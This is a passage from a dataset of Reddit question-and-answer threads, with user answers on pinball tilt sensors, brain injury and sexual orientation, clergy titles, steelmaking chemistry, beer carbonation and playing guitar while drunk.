videos and told stories about cops who let their guard down for a split second, and then they got totally fucked up or killed because of it. Not to mention the police are most likely \"rednecks\" and seeing \"hippies\" makes their blood boil (oversimplification, I know).\nLaw enforcement in the US follows the Ask/Tell/Make model. Protestors are first told to move. If they don't, they are ordered to. If they don't, the police must then make them move and they have varying methods for doing so with different degree of escalation. That is the gist of it."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "4s2mkd", "title": "tilt in pinball", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4s2mkd/eli5_tilt_in_pinball/", "answers": {"a_id": ["d55zz76", "d5627t8", "d567nbw", "d56bzz1", "d56e5rv", "d56er2e", "d56fhft", "d56fquq", "d56g78k", "d56gxbj", "d56h16t", "d56i8mb", "d56in9m", "d56izr8", "d56y7k0"], "score": [26, 58, 622, 7, 36, 6, 54, 5, 4, 5, 3, 5, 2, 2, 2], "text": ["It used to be a thing where you'd put the front legs of the pinball machine on your toes or just prop them up.  This allowed you to slow the acceleration of the ball by reducing the slope, making it easier to play. Slower ball, more time to react.  With the legs on your toes, you could also effect the path of the ball to some extent.  The tilt sensor was introduced to prevent that.", "Pinball tables are sloping downwards to the 'hole', so that you have to keep the ball in play by using the flippers to shoot it back up.\n\nIf you lift the machine (**tilting** it) or give it a hard smack at the right moment, you can sometimes 'rescue' a ball that would otherwise be lost.\n\nBecause pinball machine operators have to make money, the machines have sensors in them that detect if you smack or lift the table, and then it goes 'tilt', ending your turn and making you lose anyway.", "A pinball table, unlike a video game, is a physical system.  It's possible to influence where the ball goes off a bounce by nudging the table in the appropriate direction. In serious competitive play, it's pretty much *required* to manhandle the machine a bit to get full control over the ball.\n\nMoving it *too* much - like picking up the table to tilt it backwards - is obviously cheating.  Hitting it too hard can also cause damage.  To prevent player from doing this, tables have a *tilt sensor* that detects if you're tilting the table or hitting it too hard. [They look something like this](_URL_0_) and when that hangy bit hits the bracket around it, it completes an electrical circuit.  When the table decides you've done too much, it ends your game and tells you to fuck off.", "Without tilt the player could just lift up his end of the table making it almost impossible to lose. ", "A restaurant where I worked at has a lot of pinball tables, and the owner regularly changes the tables out for new tables.  One he put in was a very old table, like 70s vintage.  \n\nWe figured out pretty quick that the tilt function was broken on this table and it quickly led to people slamming the table side to side to save a ball or hit extra bumpers.  You could even just pick the table up and roll the ball around wherever you wanted.  \n\nThis was bad for 3 reasons: 1) You could cheat pretty badly and get extra points 2) no one ever lost so people could play all day on one quarter and 3) the table itself would get pretty banged up, ie. the legs came loose, the sides got all bent in and we were scuffing the wall.\n\nTilt is a good function and keeps the game fun and fair (as much as it sucks, but you learn your table's limits)", "The sensitivity of the tilt mechanism is adjustable. The hanging rod the inverted cone is mounted on has threads. If you want to increase the sensitivity, you rotate the cone so it rises on the threads. This brings it closer to the metal piece that surrounds it and completes the circuit when it makes contact. You lower it to decrease the sensitivity. Less space between the cone and the metal ring surrounding it mean less forgiveness when bumping the game. More space means more forgiveness.  Source: I have a Williams Pinbot machine. ", "The first pinball games were more like pachinko machines -- they didn't even have flippers. What made them fun was, they were a way to gamble. You'd pay to play a game, and if you reached a certain score, you'd get a prize, usually a drink or a cigarette. During the Depression the machines grew popular, and they were mass produced and had bells and also timers and tilt mechanisms to prevent cheating.\n\nWhen flippers were introduced, pinball became more a game of skill. Still, people would tilt the machine to keep playing, so the tilt mechanism was kept. If there were no tilt mechanism, the concern is not that people would play forever on one quarter. It's more that the tilt penalty keeps people from really abusing the machines. The internals of an electromechanical pinball machine are actually pretty fragile, as is all that glass.\n\nI have a pinball machine, the ubiquitous Captain Fantastic. I set my little plumb bob tilt mechanism pretty liberally, because I enjoy giving it the occasional rude shove. But I'd never want strangers beating up on it.", "If tilt is so useful in competitive pinball why not make a table that rests on a half pipe type configuration so you can tilt the table smoothly and not risk damage to machine?  ", "Tilt mechanisms were invented to prevent players from lifting and shaking the machine and came along years before the flipper was invented.  In those days, machines worked more like \"plinko\".  Today, skilled pinball players know how to nudge and slide the game in order to keep the ball in play.  If there were no tilt sensors, players would be able to slide the game all over the place to keep the ball in play.  It takes a greater amount skill to be able to do this when there is a tilt sensor.  Tilt sensors allow players to use nudging skills without abusing them and they add an element of strategy to playing.  Most games, you can make a small move and receive a warning (or, usually, two).  If you make a larger move, you might get those warnings all at once and tilt.  You will often see a player gain control of the ball after a warning and hold the ball and wait for the tilt bob to settle down before they start playing, again, so that their next small nudge won't give them another warning or tilt.  If you're end of ball bonus is large, you will want to judiciously nudge the game.  Some games have very small end of ball bonuses and players will make big moves in an effort to save the ball because there is less risk.", "I had a pinball machine as a kid. It was Gottlieb's Mustang from 1977.\n\n >  Why is it such a punishment where you lose any bonuses depending on the game?\n\nTilt also discourages the player from being too abusive to the machine.\n\nWhen I had this pinball machine I was curious about the innards, of course. I'll try to describe the tilt mechanism of this machine.\n\nA metal ball(shaped like a pear) hung down from inside the machine. Surrounding the metal ball is a metal plate that has a circle cut in the middle of it. The ball was suspended in the circle of this plate. If the metal ball came in contact with the plate(by shaking the machine too hard) it closed a circuit(because of the metal contacting) which told the machine to tilt.", "There's a mechanism that's just a metal rod inside a metal circle the rod can swing freely, it has a charge in it and if it swings too much it will hit the metal circle and conduct electricity sending a signal that it's being rocked around ", "To discourage people abusing the physical machine if they get mad or are rowdy (a pub/rage)\n\nIt discourages people by throwing your game away for making the choice to physically shaking the machine with sensitive hardware in it, etc.", "This allowed you to slow the acceleration of the table smoothly and not risk damage to machine?", "I still love that sound the pinball machine made when at the end of the game you got a \"match\" and a free game, the sound would go off sounding like a shotgun fire and everyone would look at you lol. Nah just pinball folks", "It's literally tilting or shaking the machine physically.  \n\nTotally unnecessary second sentence here.  And a third sentence too."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], ["https://www.youtube.com/watch?v=8Vtd5wKh7JA"], [], [], [], [], [], [], [], [], [], [], [], []]}
{"q_id": "3ibg5b", "title": "Does sexual preference (Straight/LGBT) change on memory loss ?", "selftext": "", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/3ibg5b/does_sexual_preference_straightlgbt_change_on/", "answers": {"a_id": ["cuf3wgu", "cuf5gva", "cuf654a", "cuf9onq", "cufr4cb"], "score": [56, 170, 3848, 15, 15], "text": ["What kind of [memory loss](_URL_0_)? There are many ways that memory can break.", "\n\nIf you include traumatic brain injury and the attendant memory disruptions that are apparent in some cases, I think there is an article here that will interest you. (Pdf warning.)\n\nThe article discusses sexual preferences changes in four of eight TBI patients. \n\n_URL_0_\n\nSexual disinhibition is a symptom for some TBI patients. The second article below states that changes in sexual expression may occur after a traumatic brain injury, including memory loss being a factor affecting those changes. \n\nBasically, TBI can cause an increase in sexual desire and patients may even act out 'inappropriately' but they don't go into specific detail about sexual preference changes. I suspect that those who were too inhibited to act on pre-existing same sex desires may, for instance, find that inhibition to be less of a factor after their TBI. \n\n_URL_1_", "Neuroscientist here. On mobile so have to keep it brief, but the short version is that it's hard to give a straight (no pun intended) answer.\n\nIs it common? No. I did a quick lit search and only found one published paper of case studies that included a sexual orientation change with brain injury... and in that paper, there was only a single case (alongside cases of other sexual behavior changes, such as hypersexuality, that are more common). And the one patient they described had a lot of other issues (e.g. eating feces), so it's a pretty messy example.\n\nNow, is it possible? Probably. The neuropsych literature is FULL of crazy-sounding syndromes. Foreign accent syndrome. Believing your friends and loved ones have been replaced by zombie/robot clones (Capgras syndrome). Believing you're dead, or that paralyzed body parts belong to someone else. And one of my favorites (if you can call it that), Anton-Babinski syndrome, where people who are blind report being able to see perfectly well (if not looked after, they walk into things a lot... no joke). And there are many different flavors of memory loss.\n\nIn short: There are, in scientific terms, a flobbity jillion different ways the brain can be injured, and a lot of different consequences you can observe from that, both in the initial loss of function, and then in the weird ways the person's brain tries to compensate for that loss in order to make some sense of the world. Injuries are rarely clean, i.e., they rarely affect just one functional brain region or type of behavior.\n\nSo, I would not rule out the possibility that someone could have brain damage with exactly two consequences, memory loss and sexual orientation change... but it does not appear to be common, nor, according to my understanding of functional neuroanatomy, particularly likely.\n\nAlso, a caution to OP: It appears from other comments that you're referencing a specific occurrence. Be wary of violating the site's policy on asking for medical advice.\n\nEdit: I see /u/cjbest just linked the same article I referred to in my second paragraph and also gives a solid answer.\n\nEdit 2: Wow, I see this post/comment blew up a bit while I was at work. Thanks to all for the upvotes and replies. I'll try to answer a few. Also, I know I'm a mod here and we are supposed to stay on topic, but since there was much discussion of the phrase \"flobbity jillion,\" I feel compelled to explain that it's a reference to How I Met Your Mother. Most of the Internet seems to spell it \"floppity jillion,\" but I just re-listened to confirm, and Robin distinctly says \"flobbity.\" Season 1, Episode 17, \"Life Among the Gorillas,\" around the 14:30 mark -- available on Netflix in the USA if you want to verify.\n\nEdit 3: I suppose I should have mentioned this earlier. It sounds like a lot of the folks wondering about this have a very \"movie\" conception of what amnesia is. In the movies, people get hit on the head and forget who they are and all of their life experiences. Although there are many different types of amnesia, the movie kind is not typically one of them (in fact, I'm not sure if such a case like that has EVER happened). There are many variations, but patients with different types of brain injuries may experience some anterograde amnesia (inability to form new memories) or some retrograde amnesia (loss of earlier memories, most typically from the last 2-3 years before the injury) or both, but complete episodic amnesia is not really a thing in real life like it is in Hollywood. So even if you are working under the supposition that maybe if you lost all of your memories, you'd forget your original sexual orientation -- the \"lost all your memories\" thing is not really a realistic starting point. Thanks again for reading!\n\nEdit 4: Just saw the gold... thanks, anonymous Redditor! Now I really have to go. If anyone responded to me and I didn't reply and you really want to know something, PM me and I'll try to answer when I can.", "Sexual preference (LGB, which by the way is distinct from gender identity, the T) is extremely profound and ingrained. What about something a little shallower like paraphilias? Can someone lose a foot fetish to amnesia?\n\nEDIT: not sure why my followup question is downvoted, so I'll just point out how I intended to contribute to the discussion: I thought it would be unsurprising if the answer to the main question is no, therefore I pivoted to a question that might have more interesting answers", "I feel that it is worth clarifying that the T in LGBT is for transgender and has nothing to do with sexual orientation. You might still inquire whether a person's gender identity might change subsequent to memory loss, and I'm certainly not qualified to speak about neuroscience. I do often wish that the T was separate, so that people are not inclined to equate sexual orientation with gender identity. A transgender man who is attracted to women, for example, is not homosexual.  There is a lot of misunderstanding and misinformation about this floating about in the aethor.\n\nThis is only tangentially related to the question, so I'm sorry if this answer doesn't belong here."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://en.wikipedia.org/wiki/Memory_disorder"], ["www.ncbi.nlm.nih.gov/pmc/articles/PMC1028946/pdf/jnnpsyc00100-0015.pdf", "www.msktc.org/tbi/factsheets/Sexuality-After-Traumatic-Brain-Injury"], [], [], []]}
{"q_id": "v21fp", "title": "the difference between priest, pastor, vicar, minister, bishop etc.", "selftext": "I know the a bishop is fairly high up, but I have absolutely know idea about the others.", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/v21fp/eli5_the_difference_between_priest_pastor_vicar/", "answers": {"a_id": ["c50mn3u", "c50moab", "c50of4o", "c50ope1"], "score": [3, 147, 3, 15], "text": ["I'm sure this will differ based on the faith, but here is what is commonly accepted for Catholics.\n\nPriest- A person who has gone through schooling and training to perform religious ceremonies. The \"official\" term for this is Presbyter.\n\nPastor- A pastor is a type of priest who is in charge of a parish, which is a region (usually a neighborhood or district)\n\nVicar- A vicar is like a helper. He usually assists bishops, but can also help other members of the church.\n\nMinister- Minister is usually just a generic term for bishops, priests, etc. \n\nBishop- A bishop is really high up in the Church. While parishes (as mentioned earlier) are small neighborhoods, these neighborhoods are combined to form a Diocese. Bishops govern over these dioceses. They can be seen as governors over a state compared to mayors over a city.", "It will depend on the religion and/or the denomination. As generically as possible:\n\nA **priest** is any person ordained by the religious authority to perform religious services. For example, all male members of the Catholic religious hierarchy are priests, whether they are \"simple\" priests or bishops or popes or what have you. In the following explanations I'm using the term \"priest\" generically, not in its more common technically Catholic sense. (One could also use the term \"cleric\" instead of \"priest.\")\n\n**Pastors** are typically low-rung priests, especially among Protestant denominations. A \"pastor\" is a \"shepherd\" of a congregation \"flock.\" Pastors are usually priests of smallish congregations.\n\n**Ministers** are also basically pastors, though among some Protestant denominations they can also be priests over larger communities. The term \"minister\" refers to the idea that this priest manages the religious affairs of congregation similar to the way a political minister manages the political affairs of his or her division/ministry.\n\n**Vicars** are essentially ministers as well, and are found especially within Catholicism. \"Vicar\" comes from the word that gives us \"vice-\" as in \"vice-admiral\" or \"vice president.\" So, someone who is in a high position of authority but not at the top. The Catholic Pope is the \"vicar of Christ\" - he's Jesus' deputy. Bishops are frequently associated with vicars who are priests slightly lower in the hierarchy than themselves.\n\nA **bishop** is a priest who has authority over multiple congregations, and usually authority over multiple priests (pastors, ministers, etc.). Bishops are found in some but not all Protestant denominations, and are typically associated with Catholicism. The term \"bishop\" is a rough translation of the Greek word \"episkopos\" which means \"overseer.\" So, a bishop is an overseer of other priests/congregations. Sometimes but not always a bishop will have his or her own congregation. Episcopalians (that is, U.S.-based Anglicans - Church of England - and note how the name comes from the same Greek word) use bishops as their main authority title. Within Catholicism, bishops are the heads of a \"diocese.\"\n\nAn **archbishop** is an overseer of overseers, and is found primarily in Catholicism as the head of an \"archdiocese.\"\n\nAnother related term that you didn't mention is **presbyter**. This comes from the Greek \"presbuteros\" and means \"elder.\" Some Protestant denominations (e.g., Presbyterians) have presbyters in bishop-like positions of authority. Catholic priests are technically presbyters, but this is not a common usage among most English-speaking Catholics.\n\nThere are also **deacons**, who are typically lay religious authorities. What this means is that they're not ordained (they're not priests), but they still carry some responsibilities involved in running day-to-day operations within a church congregation.\n\nA **reverend** is a priest along the same lines as the pastor and the minister. Typically \"reverend\" is used as a naming title rather than as an actual title, so we have, for example, \"Reverend Doctor Martin Luther King, Jr.\" - who was an ordained minister, and had a religious doctorate (I believe a Th.D. but I'm not certain).\n\nA **monk** is, within Catholicism (and some Protestant denominations, such as the Lutherans), a person (typically male, sometimes a priest) who does not have a congregation and is *typically* separated from general society within a monastery. Catholic monks are known as \"brothers.\" Historically, not all monks have been priests; I believe most are actually not ordained, and within Catholicism are not authorized to give communion for precisely that reason. **Nuns** are the female equivalent (and are definitely *not* priests within Catholicism because Catholic women cannot be ordained); they are called \"sisters.\" Catholic monks are not strictly speaking \"ordained\" but they are also not \"lay\" members of the religion.\n\nA **preacher** is someone whose priestly duties are understood primarily to be preaching-related (speaking in front of the congregation). \"Preacher\" is a term preferred by a lot of small, hierarchy-lite traditions/denominations as a way of distancing themselves from other terms that, to them, seem to be prideful. This is not, however, the exclusive use of the word.\n\nIn all of this, though, bear in mind that each denomination is going to have its own quirks about nomenclature. And that these terms are *generally* not found outside of Christianity. So, for example, the primary term for a priest within Judaism is \"rabbi\", and within Islam a priest is an \"imam.\" These are terms that are *roughly* equivalent to pastor/minister within a Christian context, although they have different responsibilities and their positions within the overall hierarchy of the religious tradition may be different.\n\nThis has been a broad overview and I am aware that some specific details are fudged for the sake of simplicity. Others are welcome to \"correct\" my explanation but bear in mind that this is eli5, not askscience.", "I assume you really mean Catholic.  I say this first because this is analogous to asking about the difference between a Captain, Commodore, Major, Master Sergeant, and Leftenant, General, Admiral, and Marshal.\n\nFirst one needs to define the \"branch\" of the church, such as Catholic/Orthodox/Protestant (this excludes other non-Christian religions, which can complicate things even further).  Then, if within the Protestant arm, the definitions are subject to which Protestant denomination.\n\n", "Kudos on a great ELI5. I've forgotten I've always wanted to know this. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "18e3dm", "title": "why can i hear the radio when my headphone jack touches the metal parts of my braces.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/18e3dm/eli5_why_can_i_hear_the_radio_when_my_headphone/", "answers": {"a_id": ["c8dyotg", "c8e5qdd"], "score": [9, 3], "text": ["People have reported picking up radio with nothing more than the fillings in their teeth, particularly if they are close to a powerful AM radio station.  \n  \nYour headphone can act as a radio antenna and send the radio signal to your teeth, as can your braces.  (You also need some luck, since you don't have a good mechanism to tune what radio frequency you will pick up this way.)    \n  \nJust like the very early radio receivers, all you need then is a \"rectifier\"...a device that tends to pass current better in one direction than the other.   That is probably formed by the interface of the metal braces and the wet parts of your mouth.  That rectifier forms a very simple circuit that separates the audio signal out from the radio \"carrier\" wave. \n  \nAfter that, the weak audio signal will vibrate your teeth a bit, and the audio is transmitted through the bones in your head to your ears.    \n   \nEDIT: I just realized that you are touching the headphone jack TO the braces.  This meeting of dissimilar metals will form a (poor) rectifier. ", "what? that's a real thing?!?! I thought it was just something they did in cartoons and comic books as a plot device....?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "dhzicj", "title": "Do animals in the wild suffer from constipation?", "selftext": "", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/dhzicj/do_animals_in_the_wild_suffer_from_constipation/", "answers": {"a_id": ["f3u5zh4"], "score": [6], "text": ["Yes.\n\n [_URL_0_](_URL_0_) \n\n\" Abstract: Gastrointestinal problems are, unfortunately, quite common in young wild mammals in rehabilitation. This paper describes challenges with identifying problems. It also identifies over 75 common causes, including health conditions, husbandry, medical practices, diet, feeding practices, and more.  \"\n\n\" It is quite easy for gastrointestinal problems to develop in juvenile mammals in rehabilitation \u2013 and very challenging to prevent or correct these problems. Any of the factors listed below can cause symptoms of gastrointestinal problems, such as poor appetite, bloat, soft stool, diarrhea or constipation. If several factors are involved, such as overfeeding in amount and frequency, endoparasites, and a diet with too much sugar, the mammal\u2019s gastrointestinal disturbance can become more severe, deteriorate quickly, and be more difficult to identify and resolve.  \""]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.ewildagain.org/assets/factorsaffectmammalgi.pdf"]]}
{"q_id": "mssqy", "title": "Dissolving gas in a liquid. Help me explain to a friend why nitrogen won't keep carbon dioxide dissolved in beer.", "selftext": "This disagreement arose during a home brewing discussion. The hypothetical situation begins with a keg of beer that is kept at a certain temperature (say 7C) and a supply of CO2 is attached to the keg at a constant pressure (say 10 PSI) until the beer will no longer absorb any more CO2 (say 10 days, 30 if you want to be sure). The beer will contain a certain volume of CO2, a level of \"carbonation\" so to speak.\n\nImagine then that the CO2 is disconnected from the keg, and instead a supply of N2 is connected to the keg in place of the CO2 at the same pressure the CO2 was connected, ie 10 PSI. The N2 will allow the beer to be served from the keg.\n\nThen, people start drawing beer from the keg. Forget your college keg parties, this keg will take weeks and weeks to empty as only a pint is being poured every day or two.\n\nSo, here is the argument:\n\nI say that regardless of the N2 being added to the keg at 10 PSI, as the beers are poured and the empty space in the keg increases, the beer will lose \"carbonation\". The only way to keep CO2 dissolved in the beer as more and more beers are poured is to maintain the supply of CO2 to the keg at 10 PSI. Pressurising the keg with N2 will do nothing to stop CO2 leaving the beer as the volume of beer in the keg decreases.\n\nThe other side says that as long as there is 10 PSI of N2 being supplied to the keg, the pressure of the N2 in the keg will keep the CO2 dissolved in the beer. I say this is wrong.\n\nSo, what say you r/askscience? Will N2 keep CO2 dissolved in beer?\n\nIf your esteemed opinions can be referenced to brief, simple to read, and of course credible articles, that would be 10 PSI more awesome.\n\ntl;dr Beer science", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/mssqy/dissolving_gas_in_a_liquid_help_me_explain_to_a/", "answers": {"a_id": ["c33kesd", "c33kesd"], "score": [4, 4], "text": ["He needs to understand [Raoult's Law](_URL_1_) and [Henry's Law](_URL_0_)!\n\nBasically, the amount of dissolved gas in a liquid is going to be proportional to the amount of that *same gas* in the gas phase above the liquid.\n\nAlso Dalton's Law if he doesn't understand how partial pressures sum to total pressure", "He needs to understand [Raoult's Law](_URL_1_) and [Henry's Law](_URL_0_)!\n\nBasically, the amount of dissolved gas in a liquid is going to be proportional to the amount of that *same gas* in the gas phase above the liquid.\n\nAlso Dalton's Law if he doesn't understand how partial pressures sum to total pressure"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Henry%27s_law", "http://en.wikipedia.org/wiki/Raoult's_law"], ["http://en.wikipedia.org/wiki/Henry%27s_law", "http://en.wikipedia.org/wiki/Raoult's_law"]]}
{"q_id": "buihdn", "title": "why ann frank history is so popular", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/buihdn/eli5_why_ann_frank_history_is_so_popular/", "answers": {"a_id": ["epclrcc", "epcsbbu", "epcxkew", "epdggl5", "epdhk5m"], "score": [9, 3, 7, 2, 2], "text": ["It sas a self written diary about how bad the things were for them in those days. It shows how a person might feel if they're actually there. We can just imagine how it was, but it's a written diary. Something personal. Somewhere you could write all your deepest thoughts.", "Her diary, which was not destroyed in the Holocaust and was published as a book, personalizes the experience that 6 million Jews experienced during WWII. While we can't know all 6 million victims, but seeing and empathizing with one who was able to share the experince through her diary, we can better understand that the victims were each individuals and not just statistics.", "People her are answering the wrong question, I get what you are asking is how did this work get attention right (over lots of other work)? Yes, we know its a personal story, but hundreds of personal stories are written and released that never get much attention like this did.\n\nIt mostly has to do with two things after its initial (small) publications in the Netherlands and France.\n\n1) When released in the US in the early 1950s, it did OK, but it eventually got a wildly favorable and impactful review from the NY Times Newspaper, which exploded sales and recognition of the books afterwards\n\n2) In 1955, the book was made into a play, which is what really drove it to huge acclaim, as the play was ultra successful during its initial run in NYC, and later around the US and in Europe. I have to reiterate, the play was ultra successful, and even won the Tony for best play. A movie was later made in the late 1950s that again made the story more famous. By that time, the story was quite well known and easily accessible.", "She\u2019s an ordinary person in an extraordinary period of time.  People can identify with her because on one hand it\u2019s the coming of age story of a normal teenage girl.  But on the other hand it\u2019s a unique insight into a horrible, frightening time in history.  Her story is all the more poignant knowing she dies in the holocaust.", "She was an innocent little girl who suffered through one of the worst times in history before dying from it. Reading it will really help put into perspective what was going on. It's sad."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], [], []]}
{"q_id": "3ff9g6", "title": "Margaret of Anjou: Why?", "selftext": "I've been reading lately about the Lancastrians and the Wars of the Roses, and everything I've read agrees that Margaret of Anjou was a disastrous choice of wife for Henry VI. Furthermore, it seems to have been obvious *at the time* that it was a bad idea, to the point that the terms of the marriage (where Henry gave away two French provinces instead of getting some as a dowry) were kept secret because they would be so unpopular.\n\nNobody I've read has explained what the upside was. If the marriage was such a terrible idea for the English, why did it happen? Who benefited? \n\nWas it a bid for permanent peace with France that failed? \n\nWas it a power grab on the part of some English nobles, hoping to rule Henry through a queen that owed them her position? \n\nWas it an attempt to give the monarchy some backbone by giving the inert Henry a strong-willed queen?\n\nWas Henry just in love? ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/3ff9g6/margaret_of_anjou_why/", "answers": {"a_id": ["ctocwhx"], "score": [6], "text": ["Is there a non-Wikipedia source for Anjou and Maine being handed over to France for the marriage?"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "1r6vha", "title": "Oxygen is injected to purify molten pig iron. Why does it react with all the impurities, but not form rust (aka oxidize) with all the free iron atoms?", "selftext": "The process I am referencing is described well in the link.\n[Steel Making!](_URL_0_)", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1r6vha/oxygen_is_injected_to_purify_molten_pig_iron_why/", "answers": {"a_id": ["cdk8pey", "cdkafnj", "cdkatrq", "cdkh6c9", "cdkkyn4"], "score": [30, 22, 4, 7, 2], "text": ["Some iron **is** oxidized to form iron(II) oxide in the slag and fume. Table III in the link provided by the OP mentions that 3.2 % of the charge is lost to slag and fume formation.", "Iron oxide will be destroyed at temperatures that high. The oxygen would be free until it encountered silicon or other elements with high melting point oxides.\n\nWhen you weld (say) mild steel, you are relying on the fact that the surface coating of oxide melts at a lower temprature than the bulk material.\n\nI can't remember the exact temp but certain iron oxides are quite easy to destroy with heat. ", "At the heat level used (3000\u00b0F +), most impurities are destroyed. Medieval blacksmiths referred to this as \"crucible steel\" and for a long time the only place to get it was the Middle East until the Vikings found a route to Iran from the Volta. There's a great NOVA (PBS) piece about it called \"Secrets of the Viking Sword\" that tells the whole story. Its on Netflix.", "In short, this occurs because of the relative free energies of the various oxidation reactions at such elevated temperatures. The creation of SiO2 is far more energetically favorable than the creation of, say, Fe2O3, and as such the oxygen will selectively bind with the Si and prevent rust formation. Elements like Si are intentionally added to the steel melt to scavenge oxygen and prevent rust formation (as well as to form ceramic inclusions which increase the strength/hardness of the steel); these elements are known as [deoxidizers](_URL_0_).\n\n", "If you look at a chart of the oxidation potentials of these metals and the temperature you can see that most of these metals/elements oxidize more readily than iron especially carbon, the big difference between pig iron and steel. Its a handy property, however some impurities do not like to oxidize this way.\n\nAn example of a similar process where iron is oxidized(with air) before another metal is in nickel converting."]}, "title_urls": [], "selftext_urls": ["http://www.steel.org/en/Making%20Steel/How%20Its%20Made/Processes/Processes%20Info/The%20Basic%20Oxygen%20Steelmaking%20Process.aspx"], "answers_urls": [[], [], [], ["http://en.wikipedia.org/wiki/Deoxidizer"], []]}
{"q_id": "2rvarc", "title": "how can guitar players still have the finger dexterity to play well when they are drunk? mic", "selftext": "One field sobriety test is to hae people touch their fingers to their thumbs, in rapid fashion, counting one through five. \n\nThe reason is because when people are drunk, they love dexterity in their fingers. \n\nI've tried it and it's true. \n\nThen I see a photo like this, and I have to wonder how they are able to play when hammered? _URL_0_\n\nThanks in advance. ", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2rvarc/eli5_how_can_guitar_players_still_have_the_finger/", "answers": {"a_id": ["cnjl0eu", "cnjlcpc", "cnjlfka", "cnjljiq", "cnjlwzy", "cnjn6qr", "cnjpqpb", "cnjptgs", "cnjvsdf", "cnjw7nr", "cnjwgsf", "cnjxhlf"], "score": [23, 6, 2, 9, 2, 2, 6, 3, 3, 2, 2, 6], "text": ["I would propose muscle-memory to be an important factor in helping them play while intoxicated.", "Guitar player here. \nWhen it comes to being adept at playing, there are no shortcuts. It takes practice. Lots of it. All day everyday. If you aren't playing out or eating, you should be practicing. So much in fact that you no longer think about what you are playing. You just do it. It becomes instinctive or Second nature. When you sleep, you dream of scales and frets. This carries over into drunken stupors as well and believe it or not alcohol can help get those all important creative juices flowing so you can get out there and put on a great show. Me personally, I can play pretty well up to a certain point of being loaded. After that point comes, I have no business being on stage.", "Honestly, not all of us do. Lots of other things are factors. Level of intoxication, skill and dexterity required for the piece in question all come into play. Muscle memory is pretty much how you get by. Personally I'm fine after 5 or 6 pints but much more and my timing goes right out the window, which is pretty essential for playing. \n\nEdit: only just looked at the pic and saw it was Page, pretty sure tolerance level is a big thing too!", "There is certainly an upper limit for your ability to play while hammered, speaking from experience. But, at least for me, there are two phases of playing guitar. You learn a song, and it is sort of a *do this, then this, then this* type of thinking. \n\nWhen you \"know\" a song, though, you no longer go through that process. I have no idea if \"muscle memory\" is legit or not, but it certainly is that type of thing. \n\nOn the simplest level it's like your ability to talk while drunk. You might be a little sloppy, but people only notice because we all talk. Not many people play guitar, comparatively, and so you don't notice they aren't as good as maybe they would have been sober.", "We aren't \"trying\" to play any more after a certain amount of practice, meaning that it doesn't take any conscious effort at all. You hear a lot of different theories about how it works and I can't explain it. But I can play and hold a conversation at the same time, or read a book.\n\nWhen I divide myself like that I don't play my \"best\"; it's typically just a kind of math formula that loops through my head from thousands of hours of practice and repetition; hell I don't even remember what I actually played until I hear it played back.\n\nBut I still play perfectly well up to the drunkenness level of passing out. After that, I really suck. :D\n\n", "Feats of dexterity are more about muscle memory than innate dexterity...no one play guitar on just reflexes alone. Once that muscle memory is established, it can still function even when dexterity is impaired.\n\n", "That's our secret, Mongo1021. We're always drunk. ", "Guitarist here. I've been playing for 8 years and it's all muscle memory. I can play a song I've know for years perfectly fine under the influence, but in comparison if I had learned a piece earlier in the day, it would be near impossible because I'd be more focused on trying to remember it than knowing it absolutely. ", "There are limits. You rarely see the greats play great leads when they're not composed. A couple of drinks takes away fear of making a mistake and you may have the courage to explore the fretboard more. Keep adding alcohol and the muscle memory fails you too. ", "Bass player here with let's just say an *overfondness* for alcohol.  \n\nI can't tell you \"how\" I do it exactly, I just do.  Sometimes I find myself on stage and can feel the fingers get clumsy and lose their speed, but for the most part they work just fine if I'm drunk but not totally wasted.  \n\nI usually keep myself under control now but in earlier days I have plenty of recordings and even videos where I'm absolutely blackout drunk with no memory of the show at all, but listening or watching back I still sound pretty much like usual.  I'll get a little sloppier on real tough sections and make poorer decisions during improv sections, but the simpler muscle-memory songs are completely fine.", "As a guitarist i can say if you've played something enough then you can eventually play many songs in your sleep past a certain point. Actual touring artist play the same stuff more than anybody else the songs practically become burned into thier DNA.\n\nI mean uber difficult / technical stuff will always need your fulll attention and focus but most music imo actually doesn't fall into that category.", "Guitars players absolutely lose dexterity when they get hammered. But there's a few factors that may help them out.\n\nFirst is a higher than average drug and alcohol tolerance. Some musicians have personal issues. It certainly isn't their first rodeo when it comes to drug abuse. Some have developed extreme tolerances to their poison of choice!\n\nSecond is pure practice! Some musicians have devoted thousands and thousands of hours to their instrument. They have insane muscle memory because it's what they do every day of their life. That muscle memory helps power through a foggy intoxicated brain.\n\nDon't fool yourself either. You're referencing some of the greatest musicians in history who could simply play through anything. Regardless, Jimmy Page has a reputation for being INCREDIBLY sloppy live. So the drugs really DO catch up with your performance."]}, "title_urls": [], "selftext_urls": ["http://inktank.fi/pictory-stories-behind-musics-iconic-photos-3/"], "answers_urls": [[], [], [], [], [], [], [], [], [], [], [], []]}
